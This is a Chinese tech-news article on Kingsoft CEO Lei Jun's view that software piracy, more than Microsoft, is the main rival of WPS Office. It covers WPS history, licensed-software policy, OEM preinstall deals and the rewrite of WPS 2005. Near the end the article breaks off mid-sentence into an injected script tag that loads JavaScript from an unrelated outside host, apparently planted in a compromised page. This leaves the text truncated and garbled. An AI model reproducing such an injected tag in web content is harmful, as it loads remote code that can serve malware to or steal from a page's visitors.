金山CEO雷军:我们第一对手是盗版 第二才是微软

1988年,金山公司凭借wps而横空出世,擎起了民族软件的大旗,一时间wps炙手可热。直至1994年之前,金山的wps是非常成功的,占据了中国90%的市场,可以说,从1992年到1994年,是金山办公软件最辉煌鼎盛和如日中天时候。

1994年,微软进入中国,凭借着与windows平台良好的兼容性,以及盖茨“要盗版也要盗我们的产品”策略,wps遭受到了来自微软office的重创。盗版的office一夜之间占领了wps几乎全部的市场,。

直到wps97的出现,才给了金山一丝希望。 99年发布wps2000,2000年发布iwps.net ,01年发布的wps office,02年发布wps office 2003 ,一路走来,wps虽依然不屈不挠,但是面对如同洪水猛兽般的盗版,取得的市场份额非常有限。

“我们的第一对手是盗版,第二才是微软”,在2003年金山软件总裁兼ceo雷军意识到,国产软件面临的最大威胁是盗版,其次才是像微软这样的国际软件公司。

给政策不如给市场

“虽然前国家对民族软件也已经给了不少政策支持,但是远不如给市场对企业有意义”,在雷军看来,给政策不如给市场,国家大力推进正版化是在给软件企业以市场。

从2000年开始,国家出台了一系列的支持政策,扶持中国成长出过千人的软件企业。但是现在过千人的软件公司已经很多了。

“办公软件是仅次于操作系统的全球第二大软件市场,今年下半年金山还会发布新版的wps,我们的目标是让wps能够做到online使用”,在雷军的眼里,这股苦熬了18年的wps,是该到了把招牌擦亮的时候,国产软件的春天来了。

赛迪顾问的数据显示:2005年,中国台式pc市场销量平稳增长15.8%,销量达到1646.3万台。2006年中国台式pc销量有望突破1800万台。

目前,金山wps office 2005、微软office 2003等主流办公软件产品,市场销售价都在人民币1000元以上。依此计算,如果每年新增的pc产品,全部采购正版软件,那仅办公软件领域,市场空间就超过100亿。

在国家正积极推动企业软件正版化,国内主流pc厂商纷纷投入巨资采购、预装正版软件的同时,金山4月宣布wps全面进军企业级市场。

“将来的某一天,你会发现全世界都在使用wps”,雷军在与网易科技的对话中透露,去年9月发布的wps office 2005的第一个目标就是让用户接受wps,觉得wps能够使用,感觉与微软的office使用起来没有多大的差别,进而替代微软的产品。

“目前企业软件正版化的途径有两条,一是采购已经预装了正版软件的pc产品,二是启动正版软件的采购”金山公司副总裁葛珂介绍,针对这两条途径,金山wps都已经制定、实施了相应的战略。

自2005年下半年至今,金山已经和联想、同方等国内主流pc厂商签订了预装、捆绑销售wps office 2005的相关协议。根据清华同方的统计,截止2006年4月,仅清华同方预装、捆绑销售wps office 2005的pc数量,已经达到100万台。

而金山wps官方网站的用户名单中也显示,wps的成熟度、稳定性已经在教育和政府市场中得到广泛认可,拥有了一大批采购用户。金山提供的数据显示,针对个人用户的免费版wps,截至去年底下载次数就3800万次。日文版和英文版的wps,开发任务已经完成,金山聘请了多家律师事务所在看这两个版本的wps到进入国外市场,有无法律风险。

重写wps只为保住民族大旗

18年来,金山自始至终是一家软件公司,紧紧围绕着软件,而没有像很多软件公司一样进入其它领域进行多元化扩张。金山现在有1200多人,其中有720人在做研发,开发人员所占比例为60%。

18年前,现在的金山软件董事长求伯君才刚刚走出学校的大门。wps 1.0是他把自己关在深圳的房子里耗费一年半的时间写出来的。1988年,国内第一套文字处理软件wps1.0发布;到1994年,wps占领了中文文字处理市场90%,微软word4.0同年进入中国市场;1996年,随着windows操作系统的普及,通过各种渠道传播的word 6.0和word 97成功地将大部分wps用户过渡为自己的用户,wps的发展进入历史最低点,曾给予求伯君诸多支持的北大方正在重组时抛弃了wps,金山和wps步入最低谷。

2002年开始,金山重提“技术立业”。同年8月,雷军决定重写wps 2005的时候,考虑最多的就是,这个软件能不能如期完成,能不能实现最初的设想。

“当时规划2005的时候,我们向技术部门提了很多需求。最后发现,1995年写的wps的架构,历经几代更新,已经非常庞杂,根本不可能实现我们的想法。”

重写wps之初并没有考虑太多市场因素,雷军说:“当时我就想,一年1000多万元,金山现在已经出得起这样的血了,那就出吧。这块牌子总之是要扛下去的。”

尽管如此,但雷军还是害怕用户不买账。这样的事情,已经一再出现在wps的历史上。用户的需求是现实的,因此他们的选择也是现实的。

为了消除这种恐惧,在wps 2005长达103天的规划期里,雷军对他的同事提出了许多要求。其中最主要的,是要全面克隆?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态